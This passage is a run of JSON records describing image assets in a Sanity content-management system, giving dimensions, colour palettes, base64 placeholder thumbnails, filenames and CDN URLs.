1354.png"} {"_createdAt":"2022-11-17T13:39:05Z","_id":"image-313f5994d630fac76bcecb5bedb144de3fcec05a-1999x1143-png","_rev":"PJutSls1mvFq6xuKvwsB6v","_type":"sanity.imageAsset","_updatedAt":"2022-11-17T13:39:05Z","assetId":"313f5994d630fac76bcecb5bedb144de3fcec05a","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7489063867016623,"height":1143,"width":1999},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB+ElEQVQokY2Qy24TQRBF/f/iB/gBFqwQm7AjgAgEomRsJ/EzeDIvx/N+9bRnutsHeRwrwSuudFVSleroVg26skSUBVI2aK3QSqO1Zrfb9TZmh5QtaVoSRTlxlPc1CjPCMOvrsb/3wCiF6jqklORFQRQnJElKVdcopTDGIOWWPI7JvBWZ/0iyCYk2MZt1SPgUEYcJSZT2HgD9khCCaBPiOx6B65MmKW3b9rOtlFRrGzE6Q1gfKVa3xOuAMAiIXI/Mdsg9nywMGRxP67Zb6iAkv11SzGyarDicbgxtIxDOmPb7W7rPbxDjT6TukjhwyRYL6str6tEdReA9A4Gd0qh1zHY4p53a6FIc/mgMnShpnBHy+j3y9zuqyRdSZ07i2xTzKeLHL4RlUfn2AbhXvyxbTF6hyxrTqVfAgubpAfE4pLRH5M6E3JtR+HMKZ07xMKGy59Tr1eGHx5RH9YmPyY1BiRwZPiLWS6rggdKbIJwLpPON2htT+AuqYEmzXp4kPHHfNxotMtrwDzKY0vgzGteitc/oVh9onJ+U7j21N0UGs0PCZ+IL6BRYJ3SbBW1wRxvc0/oWnfOVzjmnca6o3TGNd5i9AE/0GmjqGL2ZooLRs4eoPdS32HpDtu6Q1rHoVtf/B9zVEWZzj/Zv0L71j/dg5d2gFpd0V+f8BdH/QxierjQdAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#656565","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6e162b","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f2eae4","foreground":"#000","population":6.09,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#f2eae4","foreground":"#000","population":6.09,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6c94","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b59f7f","foreground":"#000","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d7365d","foreground":"#fff","population":0.63,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"image9.png","path":"images/sczeoy4w/production/313f5994d630fac76bcecb5bedb144de3fcec05a-1999x1143.png","sha1hash":"313f5994d630fac76bcecb5bedb144de3fcec05a","size":376965,"uploadId":"uTytB91UF0uR1eqJzEBmOL7XXlJN5lOm","url":"https://cdn.sanity.io/images/sczeoy4w/production/313f5994d630fac76bcecb5bedb144de3fcec05a-1999x1143.png"} {"_createdAt":"2023-02-27T09:42:41Z","_id":"image-943c7e22a30173599903489becacc68089a1af6c-1567x844-png","_rev":"RC5pgePlmGi6uvVNoAmy9K","_type":"sanity.imageAsset","_updatedAt":"2023-02-27T09:42:41Z","assetId":"943c7e22a30173599903489becacc68089a1af6c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MZP6%E.TaKD%^+adNHWAogs:yYQ,W.t8NH","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACpklEQVQokW2S2U8TURTG53/yQR9NNGhieDRxbWNiTERsWAIRjUWJaIzhATWGCIIaiCRgUYqgKN0oFWhJpdNSuk9nOuudaWvbUR8m85kOkqDx4ZfvLLn3nHPPpQSpCpYjKHIEbImAYRUwrIySUIaiNkA0/S+aMUGqoMAIyDOCZTdjSjOn/QCVznJY3/iGwOomgmsRBIKbWA2GEd3etYpISg0yqUNR6yBKBSIvIhaL4/38AqanZ+APfEW+UAKReGh8ElQimceKJwj3h2UsLH7B4tIKlj564PGFEI7QiNFppDIcBF4GyW0hFXJhZmocPb29sNlsuN13E17XJEh0CvX4Y1C76aLV0fJnv0Xz8hXvmqVeXwj+wDq2oklwhQy08Cgiry5jyNkGm82OEy0tuHTqJNy9p6HO2VGP9IFqjpVMMaDjGdCJLOI7OYvETg7NYukMiwKrgBRp1P1d2B05ghd3L6C7qxP28+fQ33oMEfth1J4eR221A5Ss1NBcDC9WLN1HlKt7b0calq1m/fjlOQt18hB8Y1cxPPQAPY52jF1sBWs7ip+DZ1DzDYKyttPc0n8gah1cSUM0lkVyw4Wyrw2C2w7v1B0MPbyHng4HXnZfQdbZjsr4E5TpMCiiNkzlH4imW6qqdbPASGYgRJsboYCZ3pwxPXPPzOFHA2Znh8N0XG83h+8PmJ8mRs1UIGgqfNmkiFiGyCngOGKNuv/39jsUxTKyeRF5RkIqncfs23e40XcLbW3X4HT2Y2TkOVxz89iOJSGTGihSkg0+yxr5XMngeM2QSd0gmm4oasMgB9F0Q5CqxlY0YbyZnjXGJ14b8+4lYy0UNmJ02ihyinWGInJVl8WyLogVXVJquqI2dKLpB3TP3vMbuqR815mipOfyvM6WVMu3cn/4DdU25lFy7DoeAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#393a3a","foreground":"#fff","population":7.54,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#381b0b","foreground":"#fff","population":0.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#393a3a","foreground":"#fff","population":7.54,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4baa3","foreground":"#000","population":0.94,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcdd65","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c74a8","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9aa17","foreground":"#000","population":5.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Henrietta Dombrovskaya_blog.png","path":"images/sczeoy4w/production/943c7e22a30173599903489becacc68089a1af6c-1567x844.png","sha1hash":"943c7e22a30173599903489becacc68089a1af6c","size":363953,"uploadId":"FPwwatv6uNeeMaB6tzgwB8g3AY0aUqC2","url":"https://cdn.sanity.io/images/sczeoy4w/production/943c7e22a30173599903489becacc68089a1af6c-1567x844.png"} {"_createdAt":"2022-11-17T14:03:51Z","_id":"image-ff5ad0ca917050625b75b73eb13d657947729602-600x246-png","_rev":"YI3rks3mbRtnzMpdnMQJhS","_type":"sanity.imageAsset","_updatedAt":"2022-11-17T14:03:51Z","assetId":"ff5ad0ca917050625b75b73eb13d657947729602","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M3SijY9a00~Wt7_N?c4nxajZDiR+MyW.%2","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.4390243902439024,"height":246,"width":600},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA3klEQVQYlX2QSY4CMQwA8/93DmpIZxwvWZzYQaMG5gAtUfdy2Q4xwWW7/WxxB+Taq842XOfyte7vmBkR73tKKSFSrTUA4p5SjPsvAIt01Wl+mJ/u3d1F5Bbjtm0xRsg5SClIlHNGRBHpvY853f0sr7VUNQFcrtfrnpApkFRAQiIupbbeu+oYR9yXn/LuXloDZhRp2kPmAsRUSu3adDQdOucwn77Ml3/mD9/czI/xAZmRqNTadaiOR9Ye4eNnp93fCESEmImIWZj5ebaZrX++ycwMLzIAIGJr7dl+5L/Jf/7J0OmgjtDkAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6b6e76","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#19586b","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b6cad6","foreground":"#000","population":0.3,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b6cad6","foreground":"#000","population":0.3,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bfe5f0","foreground":"#000","population":0.1,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#647c94","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#30abce","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ff5ad0ca917050625b75b73eb13d657947729602-600x246.png","path":"images/sczeoy4w/production/ff5ad0ca917050625b75b73eb13d657947729602-600x246.png","sha1hash":"ff5ad0ca917050625b75b73eb13d657947729602","size":49591,"uploadId":"ARgYACSeaQe8oJDVWXv2Jegqd2rffVRR","url":"https://cdn.sanity.io/images/sczeoy4w/production/ff5ad0ca917050625b75b73eb13d657947729602-600x246.png"} {"_createdAt":"2022-11-23T13:11:25Z","_id":"image-94ff2f5dc2150fe9a2785d8e92ddadfedf2a5dd7-1200x1304-png","_rev":"RAyRTsSFAoDoj6NvflQiHs","_type":"sanity.imageAsset","_updatedAt":"2022-11-23T13:11:25Z","assetId":"94ff2f5dc2150fe9a2785d8e92ddadfedf2a5dd7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eJI38m}m{wRQSh}?JC#k5,=KzpADBW5=AC9aV]T0S}-9t8Ek5lR+$%","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9202453987730062,"height":1304,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#38384f","foreground":"#fff","population":0.58,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6d1b0e","foreground":"#fff","population":0.36,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f87507","foreground":"#fff","population":10.62,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bbbbbc","foreground":"#000","population":0.36,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecc46c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#88906c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f87507","foreground":"#fff","population":10.62,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"half-eagle.png","path":"images/sczeoy4w/production/94ff2f5dc2150fe9a2785d8e92ddadfedf2a5dd7-1200x1304.png","sha1hash":"94ff2f5dc2150fe9a2785d8e92ddadfedf2a5dd7","size":366644,"uploadId":"im7rGXsM7NA6142wEdNPHCcGeyoA2668","url":"https://cdn.sanity.io/images/sczeoy4w/production/94ff2f5dc2150fe9a2785d8e92ddadfedf2a5dd7-1200x1304.png"} {"_createdAt":"2022-09-30T15:37:15Z","_id":"image-9a9c1ec65aca228c6875c5ed73e77289dbf0acaa-3133x1688-png","_rev":"vDQRRYe9nRreptIRp5oYve","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:53:44Z","assetId":"9a9c1ec65aca228c6875c5ed73e77289dbf0acaa","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNQ08YT#o~Mc?GJDMxwGXog4yZZzXAxZNH","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.856042654028436,"height":1688,"width":3133},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAC4jAAAuIwF4pT92AAACsUlEQVQokVWSy2sTURjF568TQQRRXNSdIggupPiCgiCC7gRfqwo+S6tom7RJ23TyaNpJJtEmrUnTZJI2aZLOdDJzH3lPH3cxRyYV0cWPjwvnO1zO+STT6uLAYH9p6mREvWmjVjex37CgGwwW6aNF+thrUGzu6ChUTBitLih3QDzYEJQNIe3VDKR/5qAkN5BQM0gkM1BTm6N3fC2FZCqLnVIN+02CnGYg/qOC4GoeK0oRWrUFQjugHmwwMpaK2j4iMQWBoIzF5SiWQzGE5NURkVgCmWwBu1UDec1ASCkiGMthbknFwnIc5dwquns+9KrzaOu/QAmDlC/sjpZ9/qWRaWBRRnAxDDmyjo3sNupNCy27h+2ygUAsD19IhW9+AbJ/Es34Q5yoV3GqXoHz6zE6DQVSSasjFlexFIoiHFWwEl6DHF6Dmt6EF4dNeqAWg75XQSYRQXjhE+TZF1idfYqKfB+9H+M4TY1BJC7CyT+D5BWhVRrYKVZRKtfhReBl5pmZVgfUouDVPHpbX0CiD5D7fhPLUxPwT79EQp7GQd4PZ2sCQjmHo+xdSF47Nh38h9eoNwkbgB2a6O6s4Gh9HKfhczAitxCZe43PH9/BP/sVhfW36CWu4yR1DX3tHSTKhq4H+QPlzj8MXWq33W5lxT1RxlyhXHI7hUm3lP7mBmaeuzMfXrlK8I1rqE/drvbZ5WbZlWirjZZOoOsU3k16P/4X77baBxkcb9yGSFzA8eY99NJ3oAVuIOp7gXQyjka1CGIdgrI+JGrY4rCmi3rNEPohFzYdCModQdhQUDYUhDuCWbroa+/FSfqaEMp5cZq8LNobj0S9EBWNpikseqYjzBEStbvcbrW52epwi/Q5YUNOuXM22ZAT7nDK+pybFd4vT3En94QPSpO8rWc5JWykofxM6/EbLCH3NBgOmWUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#424648","foreground":"#fff","population":0.27,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#173164","foreground":"#fff","population":0.89,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fab618","foreground":"#000","population":11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1c09d","foreground":"#000","population":1.4,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#94c4fc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5d7aae","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fab618","foreground":"#000","population":11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"9a9c1ec65aca228c6875c5ed73e77289dbf0acaa-3133x1688.png","path":"images/sczeoy4w/production/9a9c1ec65aca228c6875c5ed73e77289dbf0acaa-3133x1688.png","sha1hash":"9a9c1ec65aca228c6875c5ed73e77289dbf0acaa","size":755261,"uploadId":"dd1Or4hoOP8UfwCphEHkdFQ1VYMdCpc4","url":"https://cdn.sanity.io/images/sczeoy4w/production/9a9c1ec65aca228c6875c5ed73e77289dbf0acaa-3133x1688.png"} {"_createdAt":"2022-06-15T20:01:50Z","_id":"image-50876db793cfd8aeb1c5180160d793a686328651-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO7rmD","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:20:33Z","assetId":"50876db793cfd8aeb1c5180160d793a686328651","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MKE#s7CC5?||XLs5S*XN$kR-EuWH#lJ%t8","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACfElEQVQokU2SW0/aABiG+TPbzbJkV9uFFy6LcQgEqUwqCxue1koBUUAoHnAe0EGG0OpA8ZA5xaEMCoUKbWlLC24wZIkuM9HsclmyZD9iwSVzyXPx3jx53y/5ZCpmFODsWs4BcHY1O6ZgLF20+S+KgkmTh3U5qC8PPSHh7jysIyA43j+QGOymRroYswwo2Y3SzFDlpVGa0fEuFWNtabRZXjRrSGgiNbxFIXFmbL1gnyBttoPhWFgfwkDDh6Eu2ixTs2MGcWpA8hrKkz2cQ3ndrGAs8iKiy5pWSfcZ6/9BBy9K2Drt8ySs71ehjQhsSCEtWcWM6gV0sDJrEKc0JbuKsSoYS2t8EenN2cLHoa9Hsd944GovglHrz45WnLtRJPG2M4d3FqdkSsaqF9ChypxR8vYJqPa6XE6b5QUTQNoCOew8vvXT7xc2YpY00Zam29PN+5mLe1nxIbUtU7M2ozgzcuKDqgsvqvP9kreXd2pK40ra2kNYwtnXl+zhL+pQoIhxMgXkc33sWQf1/UG23llIyLScEzlZcn0OoQ1suvlmurnmqK/YaoHn5eknhMWfXqxJiYtatiwdLZFhYy4KUh8fE+cdZEHPR2Q9nAOqzjvrQbSBeRq4p4G7G5jnFIcq8wBpNSWdAcKHpV4FieWJzGx3Ersb42+v1R8dpmAp1LoZKNlB3gUKbpB36a55KnhA3tXLOo1FFE57kDjqzC6gAg4m9+8sF2/Nccrd9OSnHdm/l5DfBETN2AYkL3qK+5qbi+XowjEelrZXTzNwimkPcm0Brv+A3Txnb+T/AXn37JfozlXm3bdsRNwLHcdi5f1orTiSFLVbIrApWlLV9GXjDw29aas0T/XUAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#171f0e","foreground":"#fff","population":1.77,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0a5c20","foreground":"#fff","population":0.28,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d5e2ca","foreground":"#000","population":16.46,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d5e2ca","foreground":"#000","population":16.46,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2959b","foreground":"#000","population":0.12,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4cac6a","foreground":"#fff","population":0.84,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#28a0d5","foreground":"#fff","population":9.72,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"50876db793cfd8aeb1c5180160d793a686328651-1567x844.png","path":"images/sczeoy4w/production/50876db793cfd8aeb1c5180160d793a686328651-1567x844.png","sha1hash":"50876db793cfd8aeb1c5180160d793a686328651","size":92367,"uploadId":"zOW8Xsj3Caw887pp36hL2Eipa5fijMkc","url":"https://cdn.sanity.io/images/sczeoy4w/production/50876db793cfd8aeb1c5180160d793a686328651-1567x844.png"} {"_createdAt":"2022-06-30T20:11:16Z","_id":"image-7dd0389c7cfe0e838f077bb4d4107a818a825825-1429x982-png","_rev":"XMqVxILwpPMz4xYxc7p5JG","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:35:54Z","assetId":"7dd0389c7cfe0e838f077bb4d4107a818a825825","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VGIY8~of00ofxvD$oeWCj[of00R+~qayM_9Fj[xZayRk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.455193482688391,"height":982,"width":1429},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAIAAACgpqunAAAACXBIWXMAAA7DAAAOwwHHb6hkAAACUElEQVQokWVSbW/SUBTu3xBlgDCM/2QDCpv/ZPrRZFJoiQliob2vlMTJ+GLcEqAttfgPTIyfdE6MyWS8FDQm+mErL9PcArrNm+fe5D7nPPfknudw4ejd0PqdQHh9LRQJhCKhcPR2JOoPhn3+gM8f8AfDwXB0LRS5uRby3QrcWMHnD/r8QS6W3N7ktzbi/EYsEUvwfGortX2PT25txvnNOJ9IsmsytR3nUzGPuQxuVxB30+KjdFbIZLOiKEqSKEqZbFbIZNJChnGSJOVykrSEuIIk5TiECUQEYYwxIZQSQiBCAAAAIdsQYoyptzAhiyxMKCaUEMotApRSwo5ytVo9ODysNxqNpm4YptlqtVqWZVn1RvPZ3nOAsAqJCglA/4k1TWs2mx+Ojr52u6e9nuM4o9F4NBo5zujjceew3iwC+lhGuae4oBCMr4krFdu2h8Oh67ruZDqdzWbzi9n892R60R+O9ZZdhFQsICGP8iWMvcrlK+J223Gcc3fy/Zd78u2892Py82x+5s76w7Flv0ZUkwGWAVERy+fI6rvsx5qm63qn0zkdOO+O++abE/tt9/2XQX/gfOp8NgyTljXWWsJaSynlVFVBELG7R+3v13TdaFn2QcPae2FUX5p145XdbhumWavVWM8vi2W5AFSwtMojiZeBEIIIIc8nrVLRNK1cLrMQIehfZQBYyqIyM5D5rChKyYOiqgDCRXzZGubzSpwvoiclhkIJySpmA4OwCsACbEzY28s5uS7eEUo76dJ9QXkgKA9zqqyy0GqSlo24tv4yfwAtX+PErefQ3AAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#585c3d","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2166b7","foreground":"#fff","population":0.45,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2166b7","foreground":"#fff","population":0.45,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a8b5c2","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9fccf0","foreground":"#000","population":0.28,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8b877a","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3d9cf6","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"7dd0389c7cfe0e838f077bb4d4107a818a825825-1429x982.png","path":"images/sczeoy4w/production/7dd0389c7cfe0e838f077bb4d4107a818a825825-1429x982.png","sha1hash":"7dd0389c7cfe0e838f077bb4d4107a818a825825","size":100085,"uploadId":"RkyTwM2q5ZXaZPjzDoOvfM6iPfdPFIjh","url":"https://cdn.sanity.io/images/sczeoy4w/production/7dd0389c7cfe0e838f077bb4d4107a818a825825-1429x982.png"} {"_createdAt":"2022-09-30T15:36:41Z","_id":"image-67a6b552001d3f1250569ea67b4a732e44d2eabe-800x436-png","_rev":"8WeirZ6KB9gJqgJfvjVERB","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T18:56:30Z","assetId":"67a6b552001d3f1250569ea67b4a732e44d2eabe","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M9R3QX%$I=xttR}kS%XTROkD~po~ayxDV[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.834862385321101,"height":436,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACAUlEQVQokU2Sy2/TQBDG/f/fuSFx4IREhRAHHgIlBxrRqkGpSFJix4/E3vWuve/ZXTf2bosSJIT0O3wz38w3l0nAP58ZnuxwEf/jJiuE67DVAD6CD1ZI12OnNLgI/jkB/2xclGZUEMBF6wL4cBmN1ljbVrba2PYA2lpjAee6uDdtDcaDjwn4WNXs5na7S2ulrBUSSA2kAQVGSFWs1c9PZvXFoAI60q2v0/mHbLnsGwzGJ9I8zubLly9eLb7NRc8kOvLVV7X6rAkWcmizrLu+Eou355QW58sf83fvZx8X+a/UMpYw6Wezu6vXbx7ubqU0BPdotaD33znpmApNzZvtmqQbjjHvVZm3y7v05qYoMwxCJVyPaU7X6wIjJs3Ydr4sSVUQ2jmuQ0N9eVSHWtPecXVCZMgPel8pRKyGMeF6OmK3PxhEB2kC6U9ZZXaFRtRzNdVk2JUmLc8u11NDHtPSpJVu6KAgJr0cD9hmla5bJ/RE2Sk/mLRUDXFcjYgOu0KnpcbdIMzUEL/di4e9RHTQNiZCj4R5RC1h58tcjW3nEHGUDUJPvTghYjF1TJ7keRk2abvdtU2rFYyJNJGrwOTEVBA6ch34WU9cBX4phZ4UBO2itk+Eud97tHk4FhUlPSRMxY4HygNl/5goD5dmpDxyHY17+vtzTA5ZgdfbIt03NRZ/AHfZWepVJ3KCAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#36395c","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#14132d","foreground":"#fff","population":1.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePalette